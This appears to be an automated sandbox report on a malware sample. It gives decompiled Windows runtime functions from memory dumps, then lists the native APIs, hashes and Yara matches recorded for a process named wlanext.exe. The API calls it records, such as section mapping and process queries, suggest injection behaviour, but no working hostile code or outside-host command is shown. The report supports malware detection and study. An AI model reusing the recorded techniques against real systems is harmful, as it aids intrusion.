Function 0095EC56, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0095EC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E0094DA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0xa1793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E009316C0(_t39);
				} else {
					_t40 = E0092F9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E00973915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E009301A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0xa1793c; // 0x0
								_push(_t85);
								_t44 = E00931F28(_t71);
							} else {
								_t44 = E0092F8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E00973915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E009B2306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E0095EC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E00974FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E00983F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E00983F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0xa120c0;
								if(_t85 != 0xa120c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E009B217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E00983F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x0095ec56
0x0095ec56
0x0095ec56
0x0095ec5c
0x0095ec64
0x009923e6
0x009923eb
0x009923eb
0x0095ec6a
0x0095ec6c
0x0095ec6f
0x009923f3
0x009923f8
0x009923fa
0x009923fc
0x0095ec75
0x0095ec76
0x0095ec76
0x0095ec7b
0x0095ec7c
0x0095ec7e
0x00992406
0x00992407
0x0099240c
0x0099240d
0x0099240d
0x0099240d
0x00992414
0x00992417
0x0099241e
0x00992435
0x00992438
0x0099243c
0x0099243f
0x00992442
0x00992443
0x00992446
0x00992449
0x00992453
0x00992455
0x0099245b
0x0099245b
0x0095eb99
0x0095eb99
0x0095eb9c
0x0095eb9d
0x0095eb9f
0x0095eba2
0x00992465
0x0099246b
0x0099246d
0x0095eba8
0x0095eba9
0x0095eba9
0x0095ebae
0x0095ebb3
0x0095ebb9
0x0095ebbb
0x00992513
0x00992514
0x00992519
0x0099251b
0x0095ec2a
0x0095ec2d
0x0095ec33
0x0095ec36
0x0095ec3a
0x0095ec3e
0x0095ec40
0x0095ec47
0x0095ec47
0x0095ec40
0x009322c6
0x0095ebc1
0x0095ebc1
0x0095ebc5
0x0095ec9a
0x0095ec9a
0x0095ebd6
0x0095ebd6
0x00000000
0x0095ebbb
0x00992477
0x0099247c
0x00992486
0x0099248b
0x00992496
0x0099249b
0x0099249d
0x009924a0
0x009924a3
0x009924aa
0x009924aa
0x009924a5
0x009924a5
0x009924a5
0x009924ac
0x009924af
0x009924b0
0x009924b3
0x009924b9
0x009924ba
0x009924bb
0x009924c6
0x009924cb
0x009924cd
0x009924d0
0x009924d1
0x009924d4
0x009924d6
0x009924d9
0x009924d9
0x009924dc
0x009924df
0x009924e1
0x009924e7
0x009924e9
0x009924ec
0x009924ef
0x009924f2
0x009924f2
0x009924ef
0x009924e7
0x009924fa
0x009924ff
0x00992501
0x00992503
0x00992506
0x0099250b
0x0095eb8c
0x0095eb93
0x00000000
0x00000000
0x0095eb93
0x00000000
0x0095eb99
0x0095ec85
0x0095ec85
0x0095ec85
0x00000000

Strings

RTL: Re-Waiting, xrefs: 009924FA
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 0099248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 009924BD

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: ea349c92e9f75303e579ae1d9c667db210da5f753af8fafbe2543c20a4ad89c8
Instruction ID: 3a1acd25926168e48c42557dad8a0d0ff4bcd39c46b18bdd64291e0d4388fab8
Opcode Fuzzy Hash: ea349c92e9f75303e579ae1d9c667db210da5f753af8fafbe2543c20a4ad89c8
Instruction Fuzzy Hash: EE41E770600204BBDB24EB69CC85FAA77B9EF84720F208A15F955DB2D1D735EA418B61

Uniqueness

Uniqueness Score: -1.00%

Function 0096FCC9, Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0096FCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E0096EE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E0096EE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E0096685D(_t167, 4) == 0) {
								if(E0096685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E0096685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E0096685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E00948980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E0093DFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E0096EE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E0096EE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x0096fcd1
0x0096fcd6
0x0096fcd9
0x0096fcdc
0x0096fcdf
0x0096fce2
0x0096fce5
0x0096fce8
0x0096fceb
0x0096fced
0x0096fced
0x0096fcf3
0x00000000
0x00000000
0x0096fcfc
0x0096fcfe
0x0096fdc1
0x0099ecbd
0x00000000
0x0099eccc
0x0099eccc
0x0099ecd2
0x00000000
0x00000000
0x0099ecdf
0x0099ece0
0x0099ece4
0x0099eceb
0x0099ecee
0x0099eca8
0x0099eca8
0x0099ecaa
0x0096fd76
0x0096fd79
0x0096fdb4
0x0096fdb5
0x0096fdb6
0x00000000
0x0096fdb6
0x0096fd7e
0x0099ecfc
0x0096fe2f
0x00000000
0x0096fe2f
0x0099ed08
0x0099ed0f
0x0099ed17
0x0099ed1b
0x00000000
0x0099ed1b
0x0096fd88
0x00000000
0x00000000
0x0096fd94
0x0096fd99
0x0096fda1
0x00000000
0x00000000
0x0096fdb0
0x00000000
0x0096fdb0
0x0099ecbd
0x0096fdc7
0x0096fdcb
0x00000000
0x0096fdd7
0x0096fde3
0x0096fe06
0x00981fe7
0x00000000
0x00000000
0x00981fef
0x00981ff0
0x00981ff4
0x00981ff7
0x00981ffa
0x00981ffd
0x00982000
0x00000000
0x00000000
0x0099ecf1
0x00000000
0x0099ecf1
0x00000000
0x0096fe06
0x0096fde8
0x0096fdec
0x0096fdef
0x0096fdf2
0x00000000
0x0096fdf2
0x0096fdcb
0x0096fd04
0x0096fd05
0x0099ec67
0x00000000
0x00000000
0x0099ec6f
0x00000000
0x0099ec6f
0x0096fd13
0x0096fd3c
0x0096fd40
0x0099ec75
0x0099ec7a
0x00000000
0x0099ec8a
0x0099ec8a
0x0099ec90
0x0099ecb2
0x0096fd73
0x0096fd73
0x00000000
0x0096fd73
0x0099ec95
0x00000000
0x00000000
0x0099eca1
0x0099eca4
0x0099eca5
0x00000000
0x0099eca5
0x0099ec7a
0x0096fd4a
0x00000000
0x0096fd6e
0x0096fd6e
0x0096fd71
0x00000000
0x0096fd71
0x0096fd4a
0x0096fd21
0x0097a3a1
0x00000000
0x0097a3a1
0x0096fd36
0x0098200b
0x00982012
0x00000000
0x00000000
0x00982018
0x00000000
0x00982018
0x00000000
0x0096fd36
0x0096fe0f
0x0096fe16
0x0097a3ad
0x00000000
0x00000000
0x0097a3b3
0x0097a3b3
0x0096fe1f
0x0099ed25
0x0099ed86
0x00000000
0x00000000
0x0099ed91
0x0099ed95
0x0099ed95
0x0099ed9a
0x0099edad
0x0099edb3
0x0099edba
0x0099edc4
0x0099edc9
0x00000000
0x0099edcc
0x0099ed2a
0x0099ed55
0x00000000
0x00000000
0x0099ed61
0x0099ed66
0x0099ed6e
0x00000000
0x00000000
0x0099ed7d
0x00000000
0x0099ed7d
0x0099ed30
0x00000000
0x00000000
0x0099ed3c
0x0099ed43
0x0099ed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 0096FD94

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: f9c7f15c6f711b17c975a8f0e550fe3e56d24bcb9c5de3e31bc1e9cf1592f96a
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 1491F231E0020AEFCF25CF58D8556EEBBB8FF95304F20847AD441A72A2E7355A51CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wlanext.exe PID: 2968 Parent PID: 1388 wlanext.exeCOMMON

Executed Functions

Function 01E367C7, Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 487nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 01E3691F

Strings

0, xrefs: 01E369A7

Memory Dump Source

Source File: 00000007.00000002.2372772899.0000000001E30000.00000040.00000001.sdmp, Offset: 01E30000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction ID: ff66e59340fc7e3b3a90b4c002b03ef3cafed8c4db32351144b3f80d19fbe0d3
Opcode Fuzzy Hash: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction Fuzzy Hash: B5F12170918A8D8FDB69EF68C898AEEB7E0FF98304F40562ED44AD7251DF349641CB41

Uniqueness

Uniqueness Score: -1.00%

Function 01E3632E, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 226nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 01E36413
NtMapViewOfSection.NTDLL ref: 01E3647F
NtClose.NTDLL ref: 01E36545

Strings

@, xrefs: 01E3648C
@, xrefs: 01E3640B

Memory Dump Source

Source File: 00000007.00000002.2372772899.0000000001E30000.00000040.00000001.sdmp, Offset: 01E30000, based on PE: false

Similarity

API ID: Section$CloseCreateView
String ID: @$@
API String ID: 1133238012-149943524
Opcode ID: 23bbd423bda2d343ab6e972927e2050342c0f7742b38ed2ef85d626af141b225
Instruction ID: 983108d1abdd4d655d6426197d0c30f1c79aa4f285e5a9c25555a80ff6d64a1f
Opcode Fuzzy Hash: 23bbd423bda2d343ab6e972927e2050342c0f7742b38ed2ef85d626af141b225
Instruction Fuzzy Hash: 7D618F70618B498FCB58EF68D8856AEBBE0FB98314F50062EE58AC3251DF35D541CB86

Uniqueness

Uniqueness Score: -1.00%

Function 01E36332, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 171nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 01E36413
NtMapViewOfSection.NTDLL ref: 01E3647F

Strings

@, xrefs: 01E3648C
@, xrefs: 01E3640B

Memory Dump Source

Source File: 00000007.00000002.2372772899.0000000001E30000.00000040.00000001.sdmp, Offset: 01E30000, based on PE: false

Similarity

API ID: Section$CreateView
String ID: @$@
API String ID: 1585966358-149943524
Opcode ID: a1482434a0a88b71d013ed121938e84fd5f2c3cc8d37ffdd0bde3b1d9f6fd9a4
Instruction ID: 0c5405f0aca8034865850c29b48ef05167a80807190eae0520440d009beb5fff
Opcode Fuzzy Hash: a1482434a0a88b71d013ed121938e84fd5f2c3cc8d37ffdd0bde3b1d9f6fd9a4
Instruction Fuzzy Hash: B6516EB0618B098FD758DF28D8956AEBBE0FB98304F50062EE58AC3651DF35D541CB86

Uniqueness

Uniqueness Score: -1.00%

Function 01E367C2, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 01E3691F

Strings

0, xrefs: 01E3684D

Memory Dump Source

Source File: 00000007.00000002.2372772899.0000000001E30000.00000040.00000001.sdmp, Offset: 01E30000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction ID: 10f87f85f162fd62a658033bf86735e754056e04d9e6cda4d7311dcf52f89f2a
Opcode Fuzzy Hash: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction Fuzzy Hash: 58512E70914A8D8FDB69EF68C8986EEB7F0FB98305F40462ED44AD7250DF309646CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000981AA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00093B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00093B87,007A002E,00000000,00000060,00000000,00000000), ref: 000981FD

Strings

.z`, xrefs: 000981ED, 000981F8

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: be467d795b3f1236675c6ab5462b7f98b64f96efa21770e07398002ae07e21e7
Instruction ID: a4e3b0d3f7f39f9b1a9b2dfaf0a3665acc1363eaf29fdcf0e05561d335b6b01d
Opcode Fuzzy Hash: be467d795b3f1236675c6ab5462b7f98b64f96efa21770e07398002ae07e21e7
Instruction Fuzzy Hash: 9301B6B2201108ABCB48CF99DC84EEB77A9AF8C754F158248FA1D97281C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000981B0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00093B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00093B87,007A002E,00000000,00000060,00000000,00000000), ref: 000981FD

Strings

.z`, xrefs: 000981ED, 000981F8

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 6fa3522381f922765747cb413a560a638f34a07a77bac4188ecd542ea8fada8f
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 3DF0B6B2201108ABCB08CF89DC85DEB77ADAF8C754F158248BA0D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 000982DA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL( =,?,?,00093D20,00000000,FFFFFFFF), ref: 00098305

Strings

=, xrefs: 000982FC, 00098304

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: =
API String ID: 3535843008-3560468456
Opcode ID: 742aa52a4b39b2a5182a73938a5aed70991b603eef2c896a1a1f646a955be2ca
Instruction ID: 5c1a7d900fef0c9bccb8beb1ca444cbb31e051fdaa4d87bd98355408bc0ac379
Opcode Fuzzy Hash: 742aa52a4b39b2a5182a73938a5aed70991b603eef2c896a1a1f646a955be2ca
Instruction Fuzzy Hash: F7E08C76200210ABDB10DFA4CC84EE77B68EF44320F118059BA199B282C530E60087E0

Uniqueness

Uniqueness Score: -1.00%

Function 000982E0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL( =,?,?,00093D20,00000000,FFFFFFFF), ref: 00098305

Strings

=, xrefs: 000982FC, 00098304

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: =
API String ID: 3535843008-3560468456
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 9045585dbcf6f62545025eb08aed1c60fbdcfac0c4e7976329d12629e07866ea
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: BFD012752002146BDB10EF99CC45ED7775CEF44750F154455BA189B342C930F90087E0

Uniqueness

Uniqueness Score: -1.00%

Function 0009825C, Relevance: 1.5, APIs: 1, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00093A01,?,?,?,?,00093A01,FFFFFFFF,?,B=,?,00000000), ref: 000982A5

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 21d2671e23f35e1acdb441a679d7f95d4574024804aae236baa62d52ff200951
Instruction ID: e9c267cc0c91a4d95102aa46a652c6f0b12f140c00e16258be681138e1c122c1
Opcode Fuzzy Hash: 21d2671e23f35e1acdb441a679d7f95d4574024804aae236baa62d52ff200951
Instruction Fuzzy Hash: 57F092B2210208AFDB14DF89DC91EEB77ADAF8C754F158649BA1D97241DA30E8518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00098260, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00093A01,?,?,?,?,00093A01,FFFFFFFF,?,B=,?,00000000), ref: 000982A5

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: bed45cf130e08865842418422f5209c84d04630db3e9acde41b4be393811b9d6
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 6CF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158248BA1D97241DA30E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00098390, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00082D11,00002000,00003000,00000004), ref: 000983C9

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 40387beaf1419a180c31e2cff737e2f724b9fe9c60f55009042e5faa2de09132
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 76F015B2200208ABCB14DF89CC81EEB77ADAF88750F118148BE0897341CA30F810CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 01FB00C4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FB00CF

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

